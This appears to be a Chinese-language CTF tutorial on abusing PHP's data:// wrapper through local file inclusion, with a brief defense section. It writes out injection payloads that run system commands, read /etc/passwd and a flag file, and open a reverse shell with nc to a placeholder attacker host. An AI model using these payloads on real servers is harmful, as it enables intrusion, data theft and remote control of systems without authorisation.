当前位置: 首页 > news >正文

【CTF】 文件包含漏洞——data伪协议 【详】

data 伪协议的详细介绍

data 伪协议是 PHP 中的一个特殊协议,它允许将原始数据嵌入到 URL 中。通过文件包含漏洞,我们可以利用这个伪协议,将恶意 PHP 代码作为数据嵌入,并让服务器解释执行。该方法适用于无法直接上传文件或插入代码的情况下,非常适合在 Local File Inclusion (LFI) 漏洞中执行任意命令。


data 伪协议的基本原理

  • data 伪协议 格式:
    data://[<MIME-type>][;charset=<encoding>][;base64],<data>
    • MIME-type:指定数据的类型,默认是 text/plain
    • charset:指定数据的编码类型,如 utf-8
    • base64:如果使用 Base64 编码,则加上该标识。
    • data:实际的数据内容。

在 LFI 漏洞中,我们可以利用这个协议直接嵌入 PHP 代码并执行。


data 伪协议的应用场景

1. 执行系统命令

通过 PHP 的文件包含漏洞,可以让 data 伪协议嵌入系统命令并执行。例如:

  • URL:

    ?file=data://text/plain,<?php system('ls'); ?>
  • 原理:
    这会将 <?php system('ls'); ?> 当作 PHP 代码执行,并列出当前目录中的所有文件。如果目录中有 flag 文件,攻击者就能看到它的名称。

2. 读取敏感文件

有时目标文件位置未知,可以尝试使用系统命令 cattac 读取文件内容。

  • URL:

    ?file=data://text/plain,<?php system('cat /etc/passwd'); ?>
  • 效果:
    执行该命令后,系统会将 /etc/passwd 文件的内容显示在页面上。该文件中可能包含用户账号信息。


data 伪协议的编码形式

有些服务器可能不直接执行原始的 PHP 代码,需要将数据进行 URL 编码

  • URL 编码后的请求:

    ?file=data://text/plain,%3C%3Fphp%20system%28%27ls%27%29%3B%20%3F%3E
  • 解释:
    这里将 <?php system('ls'); ?> 编码成了 %3C%3Fphp%20system%28%27ls%27%29%3B%20%3F%3E。浏览器会自动解码这些字符,让 PHP 引擎可以解析执行。


data 伪协议的优劣分析

优点:
  1. 绕过上传限制:不需要上传文件,只需通过 URL 注入代码即可。
  2. 绕过 WAF:大部分 Web 应用防火墙可能不会检测到这种方式的攻击。
  3. 灵活性强:可以直接执行 PHP 代码或系统命令。
  4. 不需要知道敏感文件的路径:通过 system('ls') 等命令,可以动态查找目录中的文件。
缺点:
  1. 依赖 PHP 配置:如果服务器禁用了命令执行函数(如 system()exec()),攻击可能失败。
  2. 需要 LFI 漏洞:这种攻击方式需要目标存在文件包含漏洞才能生效。
  3. 字符限制:某些服务器可能对 URL 长度或字符类型有限制,导致无法顺利执行复杂的代码。

实战案例

假设我们发现一个存在 LFI 漏洞的网站:

http://example.com/vulnerable.php?file=
步骤 1:使用 data 伪协议列出文件

我们可以构造如下请求,列出目标目录中的所有文件:

http://example.com/vulnerable.php?file=data://text/plain,<?php system('ls'); ?>

效果: 如果目录中存在 flag.txt 文件,输出会是类似这样的结果:

index.php vulnerable.php flag.txt
步骤 2:读取敏感文件

接下来,我们尝试读取 flag.txt 文件的内容:

http://example.com/vulnerable.php?file=data://text/plain,<?php system('cat flag.txt'); ?>

效果: 如果成功,页面会显示类似这样的输出:

flag{12345abcdef}
步骤 3:动态执行任意代码

我们可以通过这种方式执行任意 PHP 代码。例如,我们想执行反向 Shell 连接到攻击者机器:

http://example.com/vulnerable.php?file=data://text/plain,<?php system('nc -e /bin/bash attacker_ip 4444'); ?>

效果: 这会在目标服务器上打开一个反向 Shell,连接到攻击者的 IP(attacker_ip)上,端口为 4444。


如何防御 data 伪协议攻击

  1. 严格验证用户输入:确保所有包含的文件来源可靠,并且限制文件路径在指定目录内。
  2. 禁用不必要的 PHP 函数:在 php.ini 中禁用如 system()exec() 等函数。
  3. 限制伪协议的使用:可以通过设置 disable_functions 禁用某些伪协议。
  4. 使用 WAF:配置 Web 应用防火墙来检测并阻止常见的 LFI 攻击。

总结

data 伪协议是一种强大的工具,允许攻击者在文件包含漏洞中执行任意代码或命令。它的灵活性和绕过限制的能力,使其在安全测试中被广泛使用。但其有效性依赖于服务器的配置,因此加强输入验证和服务器配置,是防御这种攻击的关键。

data://text/plain 的含义

text/plainMIME 类型,表示嵌入的数据是纯文本。不同的 MIME 类型告诉程序如何解释数据内容。


text/plain 的具体含义

  1. text/plain MIME 类型
    • 表示数据是普通文本文件,没有任何特定的格式或编码。
    • 在 PHP 的文件包含漏洞中,当使用 data://text/plain 时,PHP 会将数据视为纯文本进行读取。
    • 但是,如果该文本数据本身是 PHP 代码(如 <?php system('ls'); ?>),且它被 include()require() 等函数加载,那么它会被当作 PHP 代码解析和执行。

data://text/plain 的实际作用

在 LFI 漏洞中使用 data://text/plain 可以让我们通过 URL 注入 PHP 代码,并且这些代码会在服务器端执行。

示例:执行系统命令
  • URL:

    ?file=data://text/plain,<?php system('ls'); ?>
  • 解释:

    • data:// 告诉 PHP 加载内联数据。
    • text/plain 表示数据是纯文本类型,但在通过 include() 加载时,PHP 会解析文本中的代码片段(如 <?php system('ls'); ?>),并将其执行。

常见 MIME 类型和区别

  • text/plain:普通文本,不含格式。
  • text/html:HTML 文档,浏览器会将其解析为网页内容。
  • application/json:JSON 数据格式。
  • application/php:专门表示 PHP 文件的 MIME 类型。

即便我们使用了 text/plain,当文本内容包含 PHP 代码,且文件是通过 include() 之类的函数引入时,PHP 仍会执行这些代码。


为什么使用 text/plain

  1. 兼容性高:大部分系统和应用默认支持解析 text/plain
  2. PHP 自动解析:即便声明为纯文本,只要文本中有 PHP 代码,PHP 会将其解析。
  3. 简洁:不需要复杂格式或特殊编码,直接嵌入和执行代码。

总结

data://text/plain 的作用是将嵌入的纯文本作为数据传递。但在文件包含漏洞中,它可以被用来嵌入并执行 PHP 代码,从而实现命令执行或敏感文件读取。虽然 MIME 类型是 text/plain,但 PHP 会解析并执行其中的 PHP 代码。这种用法非常适合渗透测试中的 LFI 攻击。


http://www.mrgr.cn/news/59990.html

相关文章:

  • 【golang】 lo.Map使用
  • 【Python爬虫】获取汽车之家车型配置附代码(2024.10)
  • 数据结构 ——— 用队列实现栈
  • 风电叶片损伤YOLO检测数据集(猫脸码客第229期)
  • Nature 正刊丨用于识别大型语言模型输出的可扩展水印
  • 使用query-string库出现错误Module parse failed: Unexpected token
  • python之多任务爬虫——线程、进程、协程的介绍与使用(16)
  • C++20新特性探索:概念(Concepts)与范围库(Ranges)
  • 特定机器学习问题的基准测试数据
  • 【Vue3】第二篇
  • 15-5小C的外卖超时判断
  • 单例模式 — 设计模式
  • 【工程】mmcls中EfficientNet网络转onnx格式问题记录
  • 最近阶段的状态的复盘
  • 32位的ARMlinux的4字节变量原子访问问题
  • Vue2自定义指令及插槽
  • MySQL主主SQL线程异常修复大作战,一失足成千古恨啊!
  • 四期书生大模型实战营(【入门岛】- 第4关 | 玩转HF/魔搭/魔乐社区)
  • P11232 [CSP-S 2024] 超速检测(民间数据)
  • 【热门主题】000010 深入 Vue.js 组件开发
  • 【办公类-53-14】2024年9月周计划系列优化(5天、6天、7天模版)
  • vue3 debounce 作用:函数会从其被调用时延迟执行到调用结束的这段时间内,如果该函数被再次调用,则重新计算时间。
  • 使用 BERT 和逻辑回归进行文本分类及示例验证
  • 在数据库访问中,使用localhost、127.0.0.1和IP地址有什么差异
  • Java 中的 队列(Queue)与双端队列(Deque)
  • Host Key Verification Failed